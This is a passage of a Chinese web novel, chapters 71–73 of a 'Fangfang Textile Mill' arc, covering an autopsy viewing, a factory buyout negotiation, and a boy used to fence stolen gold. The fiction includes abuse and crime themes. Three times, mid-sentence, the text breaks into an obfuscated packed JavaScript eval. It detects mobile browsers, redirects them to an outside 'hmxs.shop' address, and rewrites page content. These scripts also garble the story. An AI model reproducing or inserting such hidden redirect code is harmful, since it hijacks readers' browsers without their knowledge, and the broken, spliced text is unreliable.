尸体分为两段,一段是躯干,一段是头颅,在冰柜中存放了一个晚上,此刻皮肤青白,脖颈处断裂的肌肉收缩发白,在灯光下如同被扯烂的肉条。 闵朝言仔细地看着,没错过哪怕一点。 收缩起的肌肉,断裂干涸的血管,还有骨头上杂乱的划痕。 每一样都是那么新奇,她从没见过。 何法医专注地切开气管,剖开肌肉,认真地观察着伤口的形状,时不时停下做笔记。 在绿色玻璃窗外,那些粘连在乳胶手套上的血液呈现出近黑色的质感。 闵朝言感到自己的呼吸正在加速, 她看不见现在自己的眼睛闪烁着怎样的光芒。 隋觉荆看见了。 他抬头看着闵朝言。 冷风吹过他干裂的唇瓣,疼得他觉得自己下一秒就要被撕裂。 要走吗?要离开吧,应该离开的! 他不应该带闵朝言来,不应该让她看见这些的。 为了那一点认可和关注,他都做了什么? 隋觉荆的心比伤口更饱尝着撕扯的痛苦。 “隋觉荆,你真厉害。” 闵朝言小声说。 …… 隋觉荆楞住了。 忽然间,冷风不再撕扯伤口,心跳不再是愧苦的刑罚,他站在原地,却感觉漫长的冬天已经结束。 “……是吗?” 他听见自己问。 “嗯,你很厉害!” 闵朝言从他手臂上跳下来,眼神依然闪亮。 似乎觉得这句话不足以表达情绪, 她抬步上前,伸出双手抱住隋觉荆。 “我很开心。” 她笑着说, “谢谢你,隋觉荆。” 这个拥抱并没有持续很久,三秒,两秒? 隋觉荆记不清,也数不清了。 他只感到一阵温暖,从心脏涌出的,从未有过的温暖。 这不是属于“儿子”“孙子”“局长家孩子”“好学生”的拥抱。 这个拥抱, 只属于“隋觉荆”。 雪又下起来。 隋觉荆背着闵朝言走在回去的路上。 嘴里呼出温热的白气,闵朝言将被风吹冷的脸颊贴在隋觉荆后颈,她的眼前映出刚才看到的画面。 尸首分离的尸体,青白收缩的肌肉,紧紧裹住双手的乳胶手套,解剖刀折射出的光线…… 在泛着浅绿色的玻璃后, 如梦境童话般。 “我好想当法医呀。” 闵朝言说。 隋觉荆背着她,长长的睫毛轻眨两下,抖落下一点雪花。 “那我当治安官,我们以后可以一起工作。” 他听见自己说。 在闵朝言找到梦想之后, 隋觉荆重新拾起了他的梦想。 这样, 她与他的梦想,就能并肩而立了。 - “闵副厂长好。” “闵副厂长早。” “闵副厂长辛苦了。” 闵长风木着脸上的笑容,和路过的工人们打招呼。 她走进自己的办公室,关上门,后背倚着门板,抬头看向天花板上的灯泡,良久,长长叹了一口气。 这个副厂长的位置如同被烧到通红的黄金, 烫得她满手泡却不能放,面上还要挂上一副欢欣昂扬的笑脸。 连痛苦都仿佛炫耀的时刻里,她手中的血泡一刻不停地疼着。 今年才满三十岁的闵长风,今天正式上任,成为芳芳纺织厂的第三位副厂长。 她出身农村,是家里唯一一个上了中专的孩子,一路进入工厂,成为领班,成为主任,成为副厂长,只用了十二年不到的时间。 即使是放在芳芳纺织厂三十年的整个历史长度里,也是足够传奇,足够让人热血的故事。 可芳芳纺织厂的历史, 就要结束了。 “小闵啊,你作为基层管理人员,工作经验丰富,应该也知道,咱们厂子这些年的效益逐渐不理想了。现在圳城那边,有一家企业,非常有意向和我们开展合作。” 说是合作,其实就是把厂子卖掉,地皮,业务,连同所有工人们。 但那些新的企业,需要的只是芳芳纺织厂地下这块算得上重平市中心区的地皮而已。 她们的车间机器,是需要处理的废铁, 她们的车间厂房,是即将被推平的累赘。 她们的工人……她们的工人…… 她们的工人, 是不再被需要的“多余劳动力”。 “形势不饶人呀。” 闵长风记得,厂长说这话的时候,喝了一口茶。 她闻不出来茶叶的好坏,只记得那股久久不散的清香味。 “自从企业自负盈亏之后呀,工人们的压力就很大。厂领导班子也是尽了最大努力,希望给大家足够的保障。大家都是为了厂子奉献多年的老人了。” 厂长的银框眼镜晃得闵长风张不开嘴。 “小闵啊,你是年轻人,年轻人有年轻人的长处。我们这把老骨头们,在厂子里待了二三十年了,认识的人太多了,这其中许多事情,就不能独善其身了。” 厂长的话砸在闵长风身上。 “圳城那家企业的项目负责人明天就来了,你要是实在觉得这件事情做不来,我也可以把这个任务给老姚……” 厂长说。 “我来吧,厂长。” 闵长风的声音冲破喉咙。 恐惧比思考更快地接管了大脑。 她不能让姚副厂长来做这件事。 不,她不能让任何除了自己之外的副厂长来做这件事。 闵长风在厂子里十二年,但和这个厂子的联系,已经很少了。 她最好的朋友程新已经下岗,曾经的工友们大多也已经下岗,她的亲友里,只有丈夫依然在厂子里是正式职工。 她没有那些错综复杂的人情债,没有五花八门的亲戚在工厂的边边角角,没有过去的把柄被人捏在手里。 只有她来做这件事, 那些没有背景,没有关系,不认识“上面领导”的工人们,才可能被更加公平地对待。 “年轻人还是要有冲劲啊。” 厂长笑着喝茶,声音是达成目的之后的不紧不慢。 “不过呀,除了工作认真,对自己也要有规划,我看现在不是有什么成人自考吗?非常适合你这样的年轻同志去,有个大学学历,还是非常有帮助的。” 威逼已成,利诱再来。 “我明年就退休了,这个项目,是我个人,也是咱们厂最后,最大的案子了。退休之前啊,还真舍不得,希望以后承我衣钵的年轻人,能好好奋斗,带领咱们的工人呀,一起走下去。” 厂长放下茶杯,看着闵长风,良久,抬手拍拍她的肩膀。 “三十年呀。” 厂长的声音就像是她的手,落在闵长风肩上, 很轻,又很重。 闵长风有一瞬间恍惚。 她想,自己也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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倪淮玉同样笑着回答。 他回家了。 终于, 终于。 翌日。 闵长风站在会议室门口,深呼吸几次,才鼓起勇气推开大门。 她知道人力有其尽时, 但闵长风想为这个厂,为所有工人姐妹再努力一次,再奋斗一次。 拼尽全力,给大家一个更好的,更公平的归宿, 这不就是厂长一力将她提拔起来的原因吗? 嘎吱—— 大门打开的声音令人牙酸。 闵长风的脚步和笑容一起顿住。 她这一刻才明白,为什么厂长说了,她才是来做这个任务最好的人选。 不是因为她是最年轻的车间主任, 更是因为,她之前的那位车间主任。 站在她对面的人西装革履,带着金边眼镜,身材瘦削,冷淡的脸上线条分明。 闵长风曾与她告别。 闵长风没有想过, 会这样与她重逢。 “倪经理。” 她的声音发哑。 谈判桌的另一边,是倪盛鸣。 这是你的复仇吗? 对这个曾经抛弃了你的厂子,一场酣畅淋漓的复仇。 闵长风的心脏几乎冲出胸膛。 她将心跳声咽下。 她将质问咽下。 “我是芳芳纺织厂的副厂长,闵长风。” 闵长风走到谈判桌边。 “这次的收购案,由我负责。” 她的声音冷静,平直,没有一丝情绪。 71. 芳芳纺织厂(23) 第一轮谈判结束,双方都不满意对方开出的条件。 闵长风走出会议室,面色如霜。 倪盛鸣也没再多说话,沉默着离开。 她驱车一路回到住所。 曾经纺织厂分配的房子已经被收回,母亲病逝多年,倪盛鸣早无母家可回。 她住在市中心一座最近建成的高级酒店里,行政套房,公司报销。 倪淮玉在酒店大堂里等她。 “你可以刷卡进去。” 倪盛鸣领着他走进套房,在客厅坐下。 十六岁的少年人,身量拔高许多,长相也不再有孩子气,他的五官脸型都像极了母亲,线条利落干净,只是更加柔和精致,肌肤白皙,但血色更暖一些。 “只是找你签个字。” 倪淮玉没回应这句话,只说。 倪盛鸣低下头,看着已经被完全填好的文件,眉头微挑。 “你要转回重平读书?为什么。” 她问。 倪盛鸣负责对芳芳纺织厂的收购案,计划会在重平市长期出差,至少半年时间。 但这并不是倪淮玉也一起出现在重平市的原因。 倪淮玉比母亲更早来到重平,代替她处理一场她并不想出席的葬礼。 上个月,倪盛鸣的生父因病去世。 葬礼结束之后,倪淮玉一直没有回到圳城,倪盛鸣以为他是不想上学,没想到他已经自己安排好了转学。 “转学手续没有很麻烦。你作为监护人签字就可以了。” 倪淮玉说着,将笔放在倪盛鸣手边。 倪盛鸣没有接笔。 “你为什么想回重平?我在这个地方没什么好回忆,你应该更是了。这里没有发展,没有圳城的教育资源和机遇。” 她的声音渐渐冷下去: “你流着我的血,也像我一样,是一个自私自利,永远只会把自己的利益放在第一位的人。” 作为母亲,倪盛鸣知道自己不算什么“好妈妈”。 她不否认这件事,也不在意这件事。 这个孩子,对她来说比起流着血脉的儿子,更像是她当年无力反抗父亲,前夫的“耻辱印记”。 她不爱倪淮玉,所以她也没有所谓的“母爱”可以给予他。 她不爱倪淮玉,所以她可以对倪淮玉的痛苦和委屈视而不见,全力奋斗自己的事业。 理所当然的,倪淮玉也和她这个母亲从来不亲近。 就算是在圳城时,两个人也仿佛只是一对年龄差极大的室友,倪淮玉从不需要母亲任何意义上的照顾,他会自己做饭,整理衣服,打扫房间,上学放学。 倪盛鸣每一笔用在他身上的开销,他都会认真地记下来,写下欠条,承诺在未来按照银行定期利率加上利息还给她。 倪盛鸣没有收下欠条,也拒绝他的还款。 她对倪淮玉没有什么感情,但作为将他带到这个世界上的成年人,将他抚养至成年,是她的义务。 就像,这个孩子毕竟是她生下来的,她作为成年人,有责任和义务,保证这个孩子不作出会伤害他人的举动。 “你想回重平,是不是为了朝言?” 倪盛鸣的眉头拧起,声音严肃: “倪淮玉,你是恋.童癖吗?” 坐在茶几对面的少年人像是被重重打了一拳,不可置信地瞪大了眼睛,随后,仿佛受到了极大、极重的侮辱一般,猛地站起身,拳头攥紧,青筋爆出。 “你,说什么?!” 倪淮玉的胸膛剧烈地起伏着,声音绷紧。 “你说什么?!!!” 他怒吼着,眼睛红了。 每当他以为自己早已经不在乎这个生理上的母亲时,她总有办法再让他的心鲜血淋漓一次。 倪盛鸣抬起头,平静地看着自己的儿子。 这个孩子长大了,她再次意识到这一点。 “我回重平,是为了她。” 倪淮玉一字一句地说,声音板直,每一个字都用尽力气。 “我想在她身边,不是因为我对她……我不是那种变态!我不会对一个小孩子有那种想法!” 他重重坐在沙发上,看着倪盛鸣的眼睛: “我想在她身边,是因为这个世界上,只有她在乎我,她愿意理解我。” 少年人已经开始变声,清冷如冷玉的音色里,执念坚定不可撼动: “她是我唯一的家人。” - “阿言!” 曲让尘坐在台阶上,飘落的小雪缀满头发和睫毛,他眨眨眼,雪花烁烁落下。 “进来。” 闵朝言对着他招招手。 工作繁重,闵长风常常加班,基本住在了办公室里,闵父每天晚上要去给她送饭,收拾屋子打扫卫生。 在家中只有她一个人的两小时空档里,闵朝言会让曲让尘过来,给他补课。 曲让尘小跑着走过去,低下头乖乖让闵朝言给自己拍落头发上的雪花。 今天的雪很小,曲让尘在雪地的风里站了半小时,才能这样头发上落满雪花。 闵朝言喜欢这样玩。 “干净啦。” 闵朝言看着曲让尘重新干净的头发,心里有小小的成就感跃然而起。 感觉就像,养了一个回家要擦爪子的小狗。 她想。 “你作业写了吗?” 闵朝言走到餐桌边上。 “嗯。” 曲让尘点头,从书包里拿出作业本。 他把自己的外套盖在书包上,没让它沾上哪怕一点风雪。 “都对了,不错。” 闵朝言看着作业本,有点得意。 曲让尘基本是个小文盲,连笔都不会握,一上学就上四年级,第一次小测的成绩,可谓惨不忍睹。 闵朝言教他写字,教他读书, 曲让尘学得很快。 他第一个会写是她的名字。 “因为是阿言教的。” 曲让尘的耳朵泛起一点红意,小声说: “阿言最厉害了。” “那当然。” 闵朝言理所当然地点点头,拿出书本。 “你现在单词背的还不够,所以英语没有满分。” 她拿出英语书,翻到单词表。 “我给你念一遍,你要记住发音和拼写,下次不要再错。” 闵朝言拿出一个本子递给他。 “以后把错的都抄到本子上。” 她说。 “好!” 曲让尘认真接过,他的手上有淡淡的雪花膏气味,茉莉香,很好闻。 “abandon,a…b…a…n……” “这个词的意思是抛弃,放弃。” 曲让尘认真写下词义,握着笔的手缓缓攥紧。 “阿言,会抛弃我吗?” 他小声问。 “不会啊,我才不是那么坏的主人。” 闵朝言看着他的眼睛。 “你是我的,所以我永远不会抛弃你的。” 她想了想,笑着说。 “像小狗一样吗?” 曲让尘问。 “对啊。” 闵朝言回答。 曲让尘没说话,低下头去,在一片沉默中,红着耳朵和脸颊,小小地“汪”了一声。 “好哦。” 小狗不会被抛弃。 时间将尽。 曲让尘认真地写满了错词本,把东西整整齐齐收拾好,抱着书包准备离开。 他很不舍,眼神珍惜地看着闵朝言。 “阿言,我有小灵通了。” 他说。 “以后,我可以,给你发短信吗?” 男孩小心翼翼地问。 闵朝言有小灵通的事,除了送礼的倪淮玉,目前就只有曲让尘知道。 之所以不和母亲父亲说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733540|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不告诉隋觉荆,是因为解释“为什么突然有了一部小灵通”是一件有点复杂的事情,闵朝言觉得很麻烦。 而且,有这种小秘密的感觉,闵朝言有点喜欢。 “小灵通?你怎么会有。” 闵朝言问。 小灵通是最近新流行起来的,虽说比正经手机要便宜许多,但也要三五百块,曲让尘捡一年垃圾也不可能赚这么多钱。 “有一个不会说话的大人,让我帮他送东西去买。卖钱分我一半。” 曲让尘回答。 “什么东西?” 闵朝言问。 曲让尘很珍惜二人交谈的时间,他不常说话,总是安安静静看着闵朝言,除了闵朝言主动问,他很少说起自己的近况。 无非是贫困和暴力的碎片,曲让尘觉得这些东西没有被公主听见的资格。 小矮人只要努力上供美丽的礼物,让公主开心。 “手机,钱包,手表之类的。” 曲让尘回答。 “小偷啊。” 闵朝言点头。 “你注意安全,拿东西送东西都要在人多的地方。如果有危险你就找一个脾气看上去最坏的人,去抢那个人的东西,让所有人都注意你。怕闹事被抓的是他们,不是你。” 她说。 “嗯,我会的!” 曲让尘很用力地点头 阿言好关心他。 曲让尘的耳朵有点红,心脏里满溢出小小的幸福。 这份小小的幸福温暖着曲让尘的胸膛,支撑着他走过雪天,回到那个逼仄灰暗的“家”。 曲让尘打开门,眼神一顿。 不对。 在狭小的客厅里,椅子上坐着一个人。 这很奇怪, 曲老三瘫痪卧床,三年没有离开过那个小角落里的破旧病床了。 老曲只剩一条腿,根本坐不直,平时也是窝在自己那个竹椅子上发呆。 常姐现在要去打零工,每天只回来做一顿糙米稀饭配咸菜,曲让尘几乎见不到她人。 这个突然出现的人……是谁? “你回来了?” 那人转过身,看着曲让尘。 曲让尘的头皮一直发麻,仿佛动物在惊恐之下下意识地僵直。 是曲老大。 在这个家里,他并不常对曲让尘动手,他将曲让尘当作路边的垃圾,连踢一脚也懒得。 可偏偏曲让尘最怕他。 他只打过曲让尘两次, 每次,曲让尘都以为自己真的要死了。 阿言…… 阿言阿言阿言阿言阿言—— 曲让尘的双手紧紧攥在一起,他不断回忆着刚才闵朝言扬起笑意时的样子。 那一点点温暖支撑着他的身体站立。 “还是不会说话啊,小杂种。” 曲老大哼笑一声,收回视线。 他今天其实也只有二十出头,但脸上满是胡茬青黑,狼狈颓废,像个颓丧扭曲的中年男人。 曲让尘没说话,默默躲进阴影里。 “爸,你也知道,我现在下岗了,手里紧。你给老二写个信,说妈要死了,她肯定能回来。” 曲老大的声音懒散。 “她现在也快二十,女人不就是该嫁人?我连人家彩礼钱都收了,你得帮我啊。” “她一看是我的字儿,肯定不回来。那丫头精着呢。” 曲让尘安静听着,睫毛轻轻颤抖。 常姐还没回家。 “人家四十来岁了,就想找个女人生儿子过日子,能给八千彩礼呢。你养她那么多年,拿点钱回来不是天经地义?” “等下妈回来了,肯定拦着不让送信!你给我还钱啊老东西?!快写!!” 曲老大一把抓住老曲已经被烧得不成样子的手,强忍着恶心嫌弃,硬将他的手印下去。 “二丫头呀,你得回来才行。” 他狞笑着。 72. 芳芳纺织厂(24) “这个金额不可能完成工人安置!” “纺织厂早就资不抵债,这个数字,已经是我们巨大的诚意。” “厂房和设备都可以折价计算,但工人的工龄补偿必须足额!” “我们给出的是总价,厂子内部补偿,我们不插手。” “是不插手还是不负责!” 会议室里,争执激烈。 闵长风端起茶缸, 浓茶的涩在她嘴里蔓延开,一直浸到肺腑。 “厂房和设备的价值我们已经达成一致。但工人的补偿问题,我们不会退步。” 她将手中名单放下,推向对面。 “这是纺织厂现在的工人名单,倪经理看看?里面有很多名字,你一定认识。” 闵长风一字一句。 谈判桌对面,倪盛鸣目光一顿。 她抬手盖住名单。 名单没有封面,第一页就是六车间工人的名字。 她认识,每一个都认识。 “刘姐进厂二十四年,拿了十六年劳动标兵,你曾经是她的组员;张姐进厂十八年,你曾经是她的班长;还有小王,她比我晚两年进厂,是大专生,你以前很欣赏她……” 闵长风的声音被打断。 “工人的个人工作经历,和我们今天要谈的话题没有必要关联。” 倪盛鸣没有低头去看。 她的表情很冷静,没有一丝波动。 冷静之下,她的心跳声却无法控制地加重。 “怎么没有关系?倪经理想聊大方向,聊项目,聊那些几百万的大生意,好啊,都可以聊!” 闵长风死死看着倪盛鸣的眼睛,一刻不肯罢休。 “那些大方向,大生意,难道不是一个个工人,一步一步做出来的?这个厂子,难道不是一个个工人建立起来的?我们现在聊的是她们的二十年,三十年,一辈子!” 闵长风站起身,手撑住桌子,眼睛发红: “难道这些东西,在你看来,就很渺小吗?” “倪姐?” 倪盛鸣没有说话。 在桌子下的手攥成拳,疼痛让她几乎窒息。 “今天就先到这吧。” 闵长风收回目光,长叹一口气,声音发冷: “倪经理,我很敬佩你,现在也是。” 敬佩你的努力, 敬佩你的冷酷。 倪盛鸣几乎不记得自己是如何离开芳芳纺织厂的。 回到酒店,坐在沙发上,闭上眼睛。 过了很久,她终于找回重新呼吸的力气。 她手里攥着那张工人名单,掌心渗出的汗水打湿纸张,干透之后依然留下凹凸不平的纸皱。 刘娟,张胜,王丽勇…… 她认识,每一个名字,每一个人,她都认识。 倪盛鸣忽然又笑起来。 那笑声像困兽嘶鸣, 又带着泪。 - 曲让尘抱着手里的小包裹躲在角落里,一直看到熟悉的声音,才抬腿跑出去。 他埋着头跑得太快,脚上没注意踢到个易拉罐,摔倒在地上。 “小曲,怎么了?” 老亏走出自己的棚屋,手中烟还没点燃,就看见小孩一趔趄摔在自己眼前。 他将烟收回去,走上前扶着曲让尘起身。 “亏叔。我没事。” 曲让尘站起来,将手里的小包裹往背后藏。 他藏的动作太刻意,不藏还好,一藏反而显得不对劲。 “你手里是什么?” 余光中瞥见某种特有的反光,老亏眼神一凝。 “我,送东西。” 曲让尘小声说。 “送东西,你还当起小跑腿了?” 老亏打趣了一句。 曲让尘低着头不说话,眼神偷偷往一边的角落里飘。 说着他的视线看过去,荒地的阴影中,有一个中年男人沉默地看向这边。 是那个新来的哑巴。 老亏收回目光。 “他不让你说?” 老亏低声问。 曲让尘偷偷握紧小包裹,脚步往后退。 “小心点跑,下次摔了我可不扶你了!” 老亏的声音放大,逗小孩一样的语气。 他站起来,揉了一把曲让尘的头发,没再多问什么。 曲让尘点点头,抱着小包裹往外跑了。 他一路走在人群里,假装没有看见跟在自己身后的身影。 他的手探进包裹里,偷偷将刚才打开的纸盒重新合上。 走了快两个小时的路,曲让尘在一个修鞋摊前面停下。 “你要买鞋油吗?从南市来的鞋油。” 他抱着包裹,看着摊主。 摊主是一个壮汉,寸头理得极短,可以看见青白头皮上一道长长疤痕。 “要,你有多少鞋油?” 摊主说。 他声音很粗,是长年抽烟酗酒才能熏出来的粗哑。 “六盒皮鞋油,三盒草鞋油。” 曲让尘回答。 “都要了,给我。” 摊主伸出手。 曲让尘把包裹交给他。 “鞋油钱。” 摊主往他手里放了一把皱巴巴的钞票,又递给他一个黑色塑料袋。 “顺手给我把垃圾扔了。” 他说。 “好。” 曲让尘接过钞票和塑料袋。 塑料袋不轻,但也不算重。 鞋油钱是他的跑腿费,塑料袋里的垃圾,才是真正的“货款”。 他又花了两个小时走回荒地,这次用的是不同的路,很偏僻,几乎没有人。 男孩躲在小巷的阴影里,看着一直跟在自己身后的老亏身影在离修鞋摊不远处的位置停下,松了一口气。 他拿出小灵通,发了[ok]给一个被备注为“公主”的号码。 另一边, 正在房间里写作业的闵朝言拿出小灵通,看着上面的短信,满意点头。 曲让尘的跑腿兼职确实收入不菲,他跑一次就能赚几十块,半个月下来,手里攒了将近七八百块。 他不敢把钱放在曲家,所有收入都“上供”给了闵朝言。 对于曲让尘来说,这本来是一份近乎完美的“工作”, 但最近,事情开始不对劲起来。 原本他只是送一些手机、手表之类的东西到市场的二道贩子那里。大家心知肚明这些东西是什么性质,但谁也不会说出口,在荒地里,这样生活的人很多。 可上周的某一天开始,委托曲让尘送货去买的哑巴,突然开始让他送另一个东西: 鞋油。 或者说,用鞋油纸盒子装着的东西。哑巴告诉他,一定不能打开看。 那些东西比鞋油重,曲让尘看了。 的确是一些比鞋油要贵,要重很多的东西。 是首饰,黄金首饰,有时候是耳环,有时候是手镯。 那耳环上带着血,甚至干枯的碎肉。 曲让尘把那个首饰给闵朝言看。 闵朝言看着耳环,眼睛闪闪发光。 “隋觉荆说过,最近在火车站有一批人开始骑着摩托车抢东西,估计就是他们。” 她说。 “他妈妈已经开始抓这批人了,你要快点跑掉才行。” 闵朝言说。 虽说今天九岁的曲让尘就算被抓住了也不会有什么事,但是闵朝言不希望他出现在这些麻烦事里。 而且,一想到有人会“审讯”曲让尘, 她心里就觉得不爽。 “你不能自己说不干,他们能抢劫,就能教训你。” 闵朝言说。 “我们让他们被抓住吧!” 她笑着,眼睛闪闪发光。 “我听你的。” 曲让尘点头。 不过,最好的方法是什么? 曲让尘可以自己去治安局举报, 但他的话不一定会被认真对待。 而且,如果这些飞车党没有全部被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738288|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓住,出头举报的曲让尘绝对会被报复,那些人可不会对孩子手下留情。 曲让尘不出现的话,该怎么让他们被抓? 闵朝言心里浮现一个人选。 “你明天找机会,和亏叔‘偶遇’一下,让他发现你不对劲。如果他知道你在做这件事,他应该会帮你的。” 她说。 闵朝言见过几次这个父亲的旧友,老亏看上去凶悍,但其实对孩子很好。 之前曲让尘在荒地里拾荒的时候,也受了他许多照顾。 “好。” 曲让尘点头。 他倒是不怕被那些飞车党报复,只要不把他活活打死,曲让尘就不怕。 他唯一害怕的,就是那些人又把他的“跑腿费”抢回去。 这绝对不行! 曲让尘在商场橱窗里看到了一支非常非常漂亮的,镶满水晶的钢笔,他要买来给阿言当新年礼物的! 如果那些人被抓起来,或者被亏叔解决的话,他的钱就不会被抢走了。 曲让尘祈祷着。 修鞋摊边上, 老亏站在树底下点燃一支烟,在烟雾的遮掩中,目光落在那壮汉摊主身上。 这个修鞋摊明明没什么生意,一个小时里没有一个客人,却买了三次“鞋油”,而且这三趟鞋油,居然都是不到十岁的小孩子送过来的。 那些小孩穿得都很破烂,可见不是流浪儿就是拾荒的小孩。 什么东西一定要小孩子来送? 是因为小孩子便宜,还是因为,小孩子即使在路上被抓了……也不会有事? 老亏吐出一口烟,转身离开,手塞进裤兜里,在BB机上按了几下。 荒地。 曲让尘将“垃圾袋”递给哑巴。 哑巴比划着手势。 “今天就是只有这些,我没偷拿。我只拿了我的跑腿费。” 曲让尘将自己手里的纸钞展示给他。 哑巴沉默着,皱起眉头。 “我可以走了吗?我饿了。” 曲让尘说。 他的手紧紧攥着钞票,手心的汗浸湿纸张。 哑巴又比划出一个摔跤的动作。 “我不是故意摔跤的,是没看见易拉罐。” 曲让尘说。 哑巴紧紧盯着曲让尘。 “我没弄坏鞋油。” 曲让尘辩解。 哑巴的眉头依然深深皱着,忽然用双手比了一个叉。 “你不让我送了吗?我下次不会这样了。这里没有别的小孩子,再给我一次机会吧?” 曲让尘脸上露出急切的神情。 在之前的排练里,曲让尘这个表情总做得不好。 闵朝言最后想出来一个方法,让他想像,如果她生气不理他了,也不和他说话了,他会怎么样。 此刻, 曲让尘脸上的急切和不解是那样真实,甚至带着隐隐的哀求意味,如同被抛弃的家犬,正在祈求宽恕。 哑巴又摇摇头,比了一个叉。 这个意思是,他不是要换人,而是以后都不会有“鞋油”可送了。 曲让尘一顿。 “哦,好吧……” 他依照闵朝言的安排,扮演着一个失落的小孩子,往家的方向走去。 直到彻底走出荒地的范围,他才大步抬腿,一路跑到闵朝言家门口。 “那个哑巴肯定是听说有人在抓他,所以才跑的。” 听完了曲让尘的转述,闵朝言分析。 “看来他很害怕被抓。” 闵朝言若有所思。 抢劫犯害怕被抓是理所当然的,可是…… 隋觉荆说过,对飞车党的抓捕是治安局的秘密行动,甚至他也是趁着隋局长打工作电话时候偷听到的。 这个哑巴是从哪里知道的消息? 还是说,他并不知道消息, 只是因为曲让尘一点点“合理”的小失误,就吓得马上停手了? 一个这么胆小的人, 怎么会当抢劫犯? 73. 芳芳纺织厂(25) 深夜,治安局。 隋局长全神贯注看着线索版,上面的每个字,每张图她都已经熟记于心,闭着眼睛也能复刻出来。 但这还不够。 南城的抢劫杀人案,重平纺织厂的抢劫杀人案,还有最近兴起的飞车党…… 他们当中到底有什么关联? 隋局长将笔记本中的“飞车党”三个字圈起来。 飞车党是一种利用摩托车,在闹市区进行抢劫的犯罪行为,这个模式具体从哪个城市兴起已经无法考证,但范围正在不断扩大,在隋局长离开南城时,那个抢劫模式还只是刚刚冒头,如今在重平也出现了。 是重平市的抢劫犯们学到了新招式, 还是,本来就在用这个招式抢劫的人,来到了重平? “隋局,有个人你得见一下。” 何法医在她敞开的办公室门板上敲了两下。 “好。” 隋局长放下笔,抬头看何法医。 “那个孩子的案子进度怎么样?” 她问。 “这个案子小粟在跟。死者家属写了谅解书,当事人又是九岁的小孩子,我们不可能拘留或者羁押她,已经让她和奶奶回去了。后续我们会持续关注她的安全。” 说起白百福的案子,何法医也有些唏嘘。 “程新现在还在拘留中,她一直试图替女儿顶嘴,虽然有包庇行为,但考虑她们的母女关系……其实也能理解。” “她自己承认了有持刀伤害死者的行为,但我们走访了她的邻居,发现死者对她的家暴行为持续存在,而且有升级的趋势。” “当晚的争执也是死者先动手,她后期自己放下刀了,应该可以认定为正当防卫和伤害中止。” 或许是因为恻隐之心,治安局里很多治安官都对这个案子有关注。 何法医也不例外。 “作为死者的妻子,她也可以给白百福开具谅解书。检察庭那边也和我们沟通过了,孩子不会被起诉。程新作为监护人,他们会上诉一个监护不力的缓刑。” 何法医叹气,眼神复杂。 “这个案子,其实就是孩子想保护妈妈……说句不够专业的话,其实我能理解。就像小荆也在保护你一样。” 她说。 隋局长的动作一顿。 “我知道,这些日子,我对不起觉荆。” 隋局长说。 “他爸爸殉职之后,我每次看见他,心里都觉得难过。” 她长叹着说。 隋觉荆知道这一点,所以从来都很安静,几乎不出现在她的视线里。 他一个人吃饭,一个人上学,在只有他一个人的家里,日复一日。 他被自己的亲生母亲,他唯一的家人放逐。 “也许,只有我们等抓到那个杀人凶手,你心里才能真正放下。隋姐,我知道对你来说,这很难。但小荆毕竟是个孩子,他也会孤单的。” 何法医宽慰她。 “不过,小荆交了一个好朋友,他最近状态好多了。上次他还带那个孩子来偷偷看我的工作室呢。” 说到这里,何法医轻轻笑了一下,又说: “看着尸体也不怕,那孩子胆子可够大的!小荆一向循规蹈矩,居然肯带她来偷看解剖室,看来关系是真的好。” 听到这里,隋局长很安静地点点头,似乎松了一口气: “那就好。” 她无法面对儿子,也因为无法面对儿子,而变得无法面对自己。 虽然没有见到那个隋觉荆的好朋友,但是在这一刻,隋局长由衷地感激着那个孩子。 “走吧,不是说有人要见我?” 隋局长收起感慨和愧疚。 她抬头,又是那个雷厉风行,冷静果断的隋局长。 会见室里,一个男人等着。 他皮肤黝黑,头发花白,个子不高,但身材很健壮,肌肉虬结,一看就是卖力气的人。 是老亏。 三年前,因为曲老三的案子,老亏被治安局找上,成了线人,替治安局盯着荒地。 “你怎么来了?有事用BB机联系就可以了。” 见来人是他,隋局长迅速掩上会客室门。 “这件事我必须马上告诉你。” 老亏压低声音说。 他双手交叠在一起握成拳,呼吸急促,额角有一点汗珠渗出——他居然是从荒地一路狂奔过来的。 “你们之前不是一直让我留意,有没有人可能是从南城流窜过来的吗?我好像找到那个人了。” 他低声说。 隋局长的眼神一变,她拿出录音笔,按下开始键时,大拇指居然抑制不住地轻颤。 “你说。” 她几乎要尽全力才能压住自己声音的颤抖。 “荒地上个月来了一群新人,其中里面有个哑巴看上去不对劲,这个我已经和你们说过了。” “嗯。” 隋局长点头。 “我今天发现,那个哑巴在利用荒地里的一个小孩去替他销赃,他们把东西装进鞋油盒里,说是鞋油。然后送到一个修鞋摊上,把这些‘鞋油’卖给那个摊主。” 老亏的眼神严肃了。 “那些鞋油盒里的,是首饰,黄金的。我在那个修鞋摊蹲了一下午,有三个小孩子来卖过‘鞋油’。这里应该是飞车党转手‘货’的地方。” “我会让下属马上去调查。” 隋局长点头。 